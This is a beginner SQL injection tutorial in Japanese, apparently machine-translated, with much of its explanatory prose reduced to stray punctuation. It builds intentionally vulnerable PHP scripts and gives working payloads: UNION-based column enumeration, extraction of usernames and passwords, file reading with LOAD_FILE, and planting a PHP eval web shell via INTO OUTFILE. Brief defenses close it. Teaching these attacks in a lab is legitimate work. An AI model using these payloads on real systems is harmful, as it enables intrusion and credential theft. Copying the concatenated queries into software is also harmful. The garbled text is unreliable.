初心者向けのSQLインジェクション。 パート1



読者の皆さん、ご挨拶。 最近、私はWebセキュリティが好きで、ある程度、仕事はこれに関連しています。 なぜなら 私はさまざまなフォーラムのトピックにますます頻繁に気づき始めました。これがすべてどのように機能するかを示すために、私は記事を書くことにしました。 この記事は、これに遭遇したことはないが、学びたい人のために設計されています。 ネットワークにはこのトピックに関する多くの記事がありますが、初心者にとっては少し複雑です。 すべてを明確な言語と詳細な例で説明しようとします。





まえがき



この記事を理解するために、SQL言語の知識は本当に必要ではありませんが、少なくとも十分な忍耐力と少しの頭脳が必要です-覚えておいてください。



記事を読むだけでは不十分だと思う 実例が必要です-ご存知のように、暗記の過程で、それは決して不必要ではありません。 したがって、脆弱なスクリプトを作成し、それらについてトレーニングします。



SQLインジェクションとは何ですか?


— , , . :



, , 100 . SQL , :

100







- ( ), , — . , , « » :

100







, , 100 . SQL :) ( ), .





, . . cfg.php



SQL injection





, , . — ID. . GET/POST Cookie!










index1.php. , ID .



sqlinj/index1.php?id=1'




.. :



$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";

      
      









SELECT * FROM news WHERE id=1'




:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16



— :



1.SQL — , (int)

2. .



— ! SQL — .










index2.php. , :

$user = $_GET['user'];
$query = "SELECT * FROM news WHERE user='$user'";

      
      







, — .

:

sqlinj/index2.php?user=AlexanderPHP'




. ! . — .














- , . , " --



" SQL.



! . URL %20



, — :

SELECT * FROM news WHERE user='AlexanderPHP' -- habrahabra







. index2.php, :



sqlinj/index2.php?user=AlexanderPHP'%20--%20habrahabr










UNION. SQL UNION SQL- . , - .












«», . index1.php.



sqlinj/index1.php?id=1 UNION SELECT 1



. :

SELECT * FROM news WHERE id=1 UNION SELECT 1





, .. , .



.. , , .







, :

sqlinj/index1.php?id=1 UNION SELECT 1,2







sqlinj/index1.php?id=1 UNION SELECT 1,2,3





!

sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5





! 5.



GROUP BY


, 20 40 60. , GROUP BY





sqlinj/index1.php?id=1 GROUP BY 2





, - 2. :



sqlinj/index1.php?id=1 GROUP BY 8





, , - 8.



GROUP BY 4 , GROUP BY 6 — , - 5










, , ID, :



sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5







image

, , . , , .








, users id, name pass.

ID=1



:



sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1







image



, , 1 3



sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1





— !

image






« », index2.php . :

sqlinj/index2.php?user=-1' UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20










/



, FILE_PRIV.





. , OUTFILE .

sqlinj/index2.php?user=-1' UNION SELECT 1,2,3,4,5 INTO OUTFILE '1.php' --%20





, . , -:

sqlinj/index2.php?user=-1' UNION SELECT 1,'<?php eval($_GET[1]) ?>',3,4,5 INTO OUTFILE '1.php' --%20










, . LOAD_FILE, , :



sqlinj/index2.php?user=-1' UNION SELECT 1,LOAD_FILE('1.php'),3,4,5 --%20







, .










, . . ,

$id = (int) $_GET['id'];

      
      





malroc. PDO prepared statements.








«SQL injection ». . .

, .



All Articles